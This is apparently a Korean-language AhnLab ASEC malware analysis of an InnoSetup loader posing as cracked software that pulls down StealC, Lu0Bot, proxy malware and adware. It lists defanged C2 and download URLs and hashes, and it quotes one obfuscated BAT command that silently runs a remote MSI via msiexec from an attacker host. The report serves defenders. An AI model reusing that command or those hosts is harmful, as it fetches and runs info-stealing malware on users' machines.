다운로드 시도 마다 새로 태어나는 InnoSetup 악성코드
AhnLab SEcurity intelligence Center(ASEC)에서는 크랙 및 상용 툴로 위장하여 유포 중인 악성코드 중 새로운 유형의 악성코드를 확인하였다. 해당 유형은 실행 즉시 악성 행위를 했던 기존 악성코드와는 다르게 인스톨러 UI가 출력되며, 버튼을 눌러 설치 과정을 진행할 경우 악성 행위를 시작한다.
또한 일반적으로 미리 생성한 악성코드를 유포하는 방식이 아닌, 사용자가 다운로드 요청을 할 경우 즉시 악성코드를 생성하여 응답하는 것으로 추정된다. 때문에 매 다운로드 시마다 동일한 기능의 다른 해시값을 가진 악성코드가 생성되어 다운로드된다.
악성코드는 C2의 응답에 따라 파일을 다운로드 후 실행할 수 있으며, 유포 당시 확인 결과 정보 탈취 악성코드인 StealC, 감염 시스템을 상용 프록시 자원으로 활용하는 Socks5Systemz, 보안 관련 브라우저 플러그인으로 위장하여 조회수를 늘리는 Clicker 등의 악성코드 설치가 확인되었다. 또한 유명 소프트웨어인 Opera 브라우저와 360 Security 제품의 설치도 확인되었다.

샘플 내부에 삽입된 C2 문자열에 다운로드 요청 당시의 Timestamp값, 접속 국가 등의 정보가 포함되어 있다. 다운로드 요청 시마다 악성코드를 신규 생성하여 유포하는 것으로 추정되며, 따라서 매 다운로드마다 다른 C2 URI을 가지고, 샘플 자체의 해시도 달라지게 된다.

이미 악성코드를 다운로드한 이력이 있는 IP 주소 환경에서는 일정 기간 동안 악성코드가 아닌 정상 WinRAR 설치 파일이 다운로드되는 것을 확인하였다. 악성코드 추적 및 분석을 어렵게 하기 위함으로 판단된다.

악성코드는 InnoSetup으로 제작되었으며 실행 시 다음과 같은 설치 화면이 출력되고 다음 버튼을 두 번 클릭할 경우 악성 행위를 시작한다. 편의를 위해 “InnoLoader”로 칭한다.

공격자는 외부 네트워크에 접속하여 추가 설치 파일을 다운로드하는 기능의 InnoDownloadPlugin 플러그인을 사용하였다.
최초 C2 접속 시 응답 값이 “ok”일 경우 악성 행위를 수행하도록 구성되어 있다. 하지만 샘플 다운로드 후 일정 시간이 경과하면 C2에서 “no”를 응답하며, 이 경우 악성 행위 없이 설치 과정이 종료된다. 이 또한 분석을 방해하기 위한 목적으로 풀이된다.

C2로부터 ok 응답을 수신한 경우 파일 내부에 정의된 C2 URL에 순차적으로 접속하여 다운로드 URL을 얻고, 해당 URL로부터 파일을 다운로드 후 실행한다. 다운로드 URL은 C2의 응답 헤더의 Location 항목에 위치한다. 이 과정에서 실행되는 파일들에는 정상 파일과 악성코드가 섞여있다. 분석에 사용된 악성코드 샘플은 총 6개의 C2 URL을 보유하고 있다.

파일 다운로드 및 실행이 완료된 이후 다음 C2 URL에 접속하며, 정의된 모든 C2에 접속할 때까지 반복된다. 분석 당시 악성코드 샘플이 실행한 파일은 다음과 같다.
| 1 | StealC 정보탈취 악성코드 | C2 URL | hxxp://monkeyagreement[.]fun/coo.php?paw=883174&spot=1&a=2857&on=444&o=1678 |
| Download URL | hxxp://240601155506901.try.kyhd08[.]buzz/f/fvgbm0601901.txt | ||
| Hash | 0738205d5a1472662b94561e004d9803 (BAT) | ||
| 2 | 악성 브라우저 플러그인 | C2 URL | hxxp://monkeyagreement[.]fun/coo.php?paw=762694&spot=2&a=2857&on=458&o=1688 |
| Download URL | hxxps://cdn-edge-node[.]com/online_security_mkl.exe | ||
| Hash | ff640a60d25e4bcf1ef290c3d1893a17 (Dropper) | ||
| 3 | 오페라 브라우저 (정상) | C2 URL | hxxp://monkeyagreement[.]fun/coo.php?paw=401610&spot=3&a=2857&on=420&o=1662 |
| 4 | Socks5Systemz | C2 URL | hxxp://monkeyagreement[.]fun/coo.php?paw=895836&spot=4&a=2857&on=418&o=1660 |
| Download URL | hxxps://song.oaksfoxes[.]ltd/tid/202.exe | ||
| Hash | 1b3ad155c454d3351cfc107344bc4ad5 (Dropper) f8bb5272ce5d5b2e767f85e788dd4c5c (Sock5Syetemz) | ||
| 5 | 360 시큐리티 (정상) | C2 URL | hxxp://monkeyagreement[.]fun/coo.php?paw=956684&spot=5&a=2857&on=460&o=1690 |
| 6 | 윈도우 업데이트 툴 위장 Adware | C2 URL | hxxp://monkeyagreement[.]fun/coo.php?paw=787557&spot=6&a=2857&on=244&o=331 |
| Download URL | hxxp://kapetownlink[.]com/installer.exe | ||
| Hash | fa24733f5a6a6f44d0e65d7d98b84aa6 (Dropper) 95007206c6b2407fb69748ef7c93612 (Adware) |
표1. InnoLoader로 부터 실행되는 파일 정보
이 중 BAT 파일로부터 시작되어 실행되는 StealC 정보 탈취 악성코드가 주요하다. 사용자의 중요 정보를 탈취하여 C2로 전송하는 악성코드로, 브라우저 저장 암호, 암호화폐 지갑, FTP Mail 등의 애플리케이션 로그인 정보, 특정 파일, 시스템 정보 등이 탈취될 수 있다. 활발하게 유포 중인 정보 탈취형 악성코드 중 하나로, 아래 포스팅에도 소개되어있다.
InnoLoader로 부터 다운로드되어 실행되는 BAT 파일은 다음과 같이 난독화되어있으며, 실행 시 C2로부터 악성 MSI 파일을 다운로드하여 실행한다.

- 실행 명령어: “msiexec /i hxxp://240601155351354.try.kyhd08[.]buzz/f/fvgbm0601001.msi /qn”
MSI 파일은 Microsoft Visual C++ 인스톨러로 위장하였다.

MSI 실행 시 TEMP 경로에 정상 Node.js 실행파일과 난독화된 악성 스크립트를 생성 후 실행한다.
- 812d99a3d89b8de1b866ac960031e3df (Node.js)
- 2e85211a7ab36e6d7e2a4a4b5d88b938 (Script)

악성 스크립트는 Lu0Bot 악성코드로, 특정 규칙에 따라 C2 URL을 생성하며 접속을 시도하고 감염 시스템 정보를 수집하며 명령을 수행할 수 있다. C2 통신 시 UDP를 사용하는 특징이 있다. 분석 과정에서 Lu0Bot이 StealC 악성코드를 다운로드 후 실행한 것을 확인하였다. 이 과정에서 TEMP 경로 하위에 DLL 파일과 TXT 파일이 생성되고, 특정 인자로 DLL 파일 실행 시 최종적으로 StealC 악성코드가 실행된다.
StealC를 설치하는 Lu0Bot은 지속성 유지를 위해 ProgramData 디렉토리 하위에 자가 복제 후 Startup 폴더에 바로가기를 생성하므로 주의해야한다. 해당 악성코드가 실행 중인 경우 언제든 공격자가 원하는 추가 악성코드를 설치할 수 있다.

분석 및 추적을 어렵게 하기 위해 매우 복잡한 단계를 거쳐 악성코드를 실행하는 것을 확인할 수 있다. 본 악성코드는 현재까지도 활발하게 유포 중이며, C2의 응답 대로 행위를 수행할 수 있는 특성상 언제든 공격자가 원하는 타 악성코드를 설치할 수 있다. 이처럼 공격자는 분석과 진단을 방해하기 위해 다양한 수단을 사용하고 있다. 파일 다운로드 시 공식 배포처를 이용해야 하며 불법 툴 사용을 지양하고, 신뢰할 수 없는 페이지에서 다운로드한 파일은 실행하면 안 된다.